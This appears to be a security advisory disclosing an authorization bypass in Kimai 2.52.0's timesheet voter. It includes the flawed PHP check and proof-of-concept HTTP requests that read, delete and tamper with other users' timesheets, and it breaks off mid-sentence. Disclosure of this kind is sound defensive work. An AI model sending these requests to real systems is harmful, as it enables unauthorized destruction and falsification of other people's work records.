GHSA-9g2q-w3w2-vf7q

### Summary Any ROLE_TEAMLEAD user can enumerate, read, modify, and permanently delete timesheets belonging to any other user in the system — regardless of team membership. This enables data destruction (deleted billable hours), data tampering (forged timesheet durations), and full authorization bypass on timesheet resources. Verified against Kimai 2.52.0. ### Details `TimesheetVoter::voteOnAttribute()` maps permissions to `own_timesheet` or `other_timesheet` without checking team membership. The voter's own comment confirms this is a known gap: ```php // extend me for "team" support later on if ($subject->getUser()?->getId() === $user->getId()) { $permission .= 'own'; } else { $permission .= 'other'; } ``` ### PoC Tested against Kimai 2.52.0 Docker instance. Setup: - User A (usera, ROLE_TEAMLEAD) owns timesheet ID 2 with description "Private timesheet - UserA only" - User B (userb, ROLE_TEAMLEAD) is NOT on any team with User A **User B reads User A's timesheet data:** ``` GET /api/timesheets/2 HTTP/1.1 X-AUTH-USER: userb X-AUTH-TOKEN: <userb_api_token> ``` Response: HTTP 200 — returns full timesheet record including description "Private timesheet - UserA only". **User B deletes User A's timesheet:** ``` DELETE /api/timesheets/3 HTTP/1.1 X-AUTH-USER: userb X-AUTH-TOKEN: <userb_api_token> ``` Response: HTTP 204 No Content — timesheet permanently deleted. **User B tampers User A's timesheet:** ``` PATCH /api/timesheets/6 HTTP/1.1 X-AUTH-USER: userb X-AUTH-TOKEN: <userb_api_token> Content-Type: application/json {"begin":"2026-03-24T08:00:00","end":"2026-03-24T18:00:00","project":1,"activity":1,"description":"TAMPERED","exported":false,"billable":false} ``` Response: HTTP 200 OK — duration inflated from 3600s to 36000s, description overwritten. **Note:** ROLE_USER (userc) is correctly blocked — DELETE returns 403 and the actions endpoint returns an empty array. The vulnerability only affects ROLE_TEAMLEAD and above. Timesheet IDs are sequential